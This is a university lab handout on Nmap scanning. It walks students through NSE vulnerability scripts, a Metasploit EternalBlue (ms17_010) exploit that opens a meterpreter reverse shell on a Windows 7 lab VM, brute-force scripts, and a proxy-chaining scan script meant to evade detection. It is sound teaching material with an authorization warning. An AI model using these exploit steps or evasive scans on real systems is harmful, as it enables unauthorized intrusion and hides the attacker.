Ecole Supérieure d'Informatique et du Numérique
COLLEGE OF ENGINEERING & ARCHITECTURE

- Lab 03: Scanning Mastring Nmap
- Nom de l'enseignant : Pr Anass Sebbar
- Niveau : 4th Year Cybersecurity Track

Lab n° 03
Scanning Phase – Automation

1- Objective :

The purpose of this lab is to explore advanced network scanning techniques by Mastering Nmap Scan, including different techniques like NSE scripting engine, automation, firewall/IDS evasion techniques and packet fragmentation. In order to understand well the concept functioning of scanning process for each attack, you will capture and analyse traffic using Wireshark or tshark

Lab Outline :

- Part 1: introduction to Nmap
- Part 2: Mastering Nmap
- Part 3: OS Fingerprinting
- Part4: Firewall and IDS/IPS Evasion

Instructions:

The lab report must be submitted one week after the lab session on the Moodle application by the deadline mentioned on the platform.
The lab work must be done individually in class, but the report is to be submitted in groups of up to 2 students. Lab groups must remain the same for all reports throughout the semester.

ATTENTION:

This work demonstrates some basic techniques that can be used to commit illegal acts. This is considered useful within the course to better understand the types of attacks that can be carried out on systems we aim to protect, BUT these tests should not be applied to real systems without written authorization.

Nmap Scripting Engine (NSE)

The Nmap scripting engine is one of Nmap's most powerful and, at the same time, most flexible features. It allows users to write their own scripts and share these scripts with other users for the purposes of networking, reconnaissance, etc. These scripts can be used for:

- Network discovery
- More sophisticated and accurate OS version detection
- Vulnerability detection
- Backdoor detection
- Vulnerability exploitation

In this Lab, we will look at the scripts that have been shared and are built into Kali and how to use them to do thorough recon on our target to increase the probability of success.

1. Find the Nmap Scripts:

From the terminal, look for the Nmap scripts. All of the scripts should end in *.nse* (nmap scripting engine), so we can find the scripts by using the Linux locate command with the wildcard **.nse*. That should find all files ending in *.nse*.

kali > locate *.nse

Finding Vulnerability Scanning Scripts

Among the most useful to us are the vulnerability scanning scripts. These scripts are usually designed to find a specific vulnerability or type of vulnerability that we can then come back later and exploit. To locate those scripts that we can use for vulnerability scanning, we can type:

kali> locate *vuln*.nse

As you can see, it returned a few vulnerability scanning scripts. I have circled the one we will use for the remainder of the lab, **smb-vuln-ms17-010.nse**. This script checks the victim (Target Windows 7) to see whether it has any of the well-known SMB vulnerabilities such as **ms17_010**.

2. Running the Script

1. Ensure the Windows 7 Virtual Machine is up and running. You will need the IP address of your victim to run this script. Think back to Lab 2, what Nmap commands could you use to foot print and discover the IP of your Windows 7 victim? You can also get the IP by logging on to the victim and running IPCONFIG from a command prompt.

The basic syntax for running these scripts is this:

nmap --script <scriptname> <host ip>

Try running the SMB vulnerability checking script against your Windows XP victim.

nmap --script smb-vuln-ms17-010.nse -p445 <insert target host IP address>

Describe what do you see when you run the command?

3. Exploit the vulnerability :

To launch Metasploit, type **msfconsole** at the kali prompt.

We need to know the difference between an exploit and a payload. The exploit is the flaw in the system that you are going to take advantage of. In the case of MS17-010, it is a problem is the SMB service. When we search for modules within Metasploit, we are simply looking for exploits. From the Metasploit command line, we can find a specific exploit by using the search command "search ms10″ or whatever exploit you want.

A payload is what we send to the victim once we execute the exploit. Different payloads for different exploits.

First choose your exploit :

Msf> use exploit/windows/smb/ms17_010_eternalblue

Module option is a complete list of options available in the used exploit ms17_010

msf6 exploit(windows/smb/ms17_010_eternalblue) > show options

if you want to show more advanced options use this command:

msf6 exploit(windows/smb/ms17_010_eternalblue) > show advanced

Possible compatible payloads which can be delivered and executed on the target system using the windows/smb/ms17_010_eternalblue exploit:

msf6 exploit(windows/smb/ms17_010_eternalblue) > show payloads

RHOST is the victim or the remote machine. We need to know the IP address of the target machine. In the previous lab, we looked at how we find a specific target. Your Windows 7 VM should be up and running. Log in to your Windows 7 victim, open a command prompt and find the IP address by typing IPCONFIG.

To set this, use the following command

msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOST 192.168.126.134

You also need to set the LHOST or the Local Host IP address. If you don't know what the IP address is of your Kali machine, type ifconfig at the exploit prompt.

msf6 exploit(windows/smb/ms17_010_eternalblue) > ifconfig

Now we set the payload. Each exploit will come with a number of payloads, but there are certain payloads that every pentester/hacker relies on. We can look through the payloads by using the show payloads command.

We want to take over the machine and have our way with it, and nothing says hackfest like a remote shell connection with a victim. To get this remote shell, we will use one the most popular payloads found in Metasploit called Meterpreter.

Meterpreter is a very powerful payload with plenty of options, but the most popular is the ability to establish a remote shell with the victim.

We prefer the remote shell because it gives a complete run of the remote machine as if we were physically sitting at the keyboard.

Remarque the Payload options (windows/x64/meterpreter/reverse_tcp)

msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit
when you exploit you have the meterpreter is up and you have reverse shell access
meterpreter >

Now to access to the shell ➔ use command **shell**

Try to use other NSE script:

- **Scan and perform NSE authentication**

Nmap @ip_target –script auth (for windows target and ubuntu target)

What is the port number used in ssh-auth-methods?

What service and port number are identified as default logins ?

- **Scan and perform NSE broadcast script :**

Nmap @ip_target - -script broadcast

What are the two ports identified in broadcast-dns-service-discovery ?

- **Scan and perform NSE brute force script**

Nmap @ip_target - -script brute

What are the port numbers and services that do not require authentication?

- **Scan and perform NSE Malware script**

Nmap @ip_target - -script malware

Identify the ports that are potential targets for malware infections?

4. Implementing Proxy-Based Nmap Scanning

In this Part, you will implement a script that allows users to run Nmap scans through different proxy configurations. You will automate the selection of proxies from a public proxy list and give users the option to choose between static proxies, dynamic proxies (via Tor), or chained proxies.

1. **Clone a public proxy list repository:**
    - Use the public proxy list from the PROXY-List GitHub repository (https://github.com/TheSpeedX/PROXY-List.git) or search another repo or customize your prior PROXY-LIST.
    - Automate the process of selecting proxies from the repository for your script.
2. **Install necessary tools:**
    - Ensure that Nmap, ProxyChains, and Tor are installed on your system.
    - Verify that ProxyChains is configured properly to work with HTTP/SOCKS proxies.
3. **Create a bash script:**
    - The script should prompt the user for a target IP or domain for scanning.
    - The script should offer three options for how the Nmap scan is conducted:
        1. Static Proxy: Use a single proxy selected from the list.
        2. Dynamic Proxy: Route the scan through Tor for dynamic IP rotation or other.
        3. Proxy Chain: Use multiple proxies chained together.
    - The script should modify the ProxyChains configuration dynamically based on the user's selection.
4. **Automate Proxy Selection:**
    - For the Static Proxy option, select a random proxy from the list (e.g., SOCKS5 proxies).
    - For the Proxy Chain option, select multiple proxies and chain them together.
    - Ensure that the selected proxies are configured in the ProxyChains file.
5. **Run the Nmap Scan:**
    - Once the user has made their proxy selection, use ProxyChains to route the Nmap scan through the proxies.
    - The Nmap scan should be a TCP connect scan (-sT) since proxying does not support SYN scans.
    - The scan should target the IP or domain provided by the user.
6. **Restore the ProxyChains Configuration:**
    - After the scan is complete, the script should restore the original ProxyChains configuration.
7. **Results Analysis**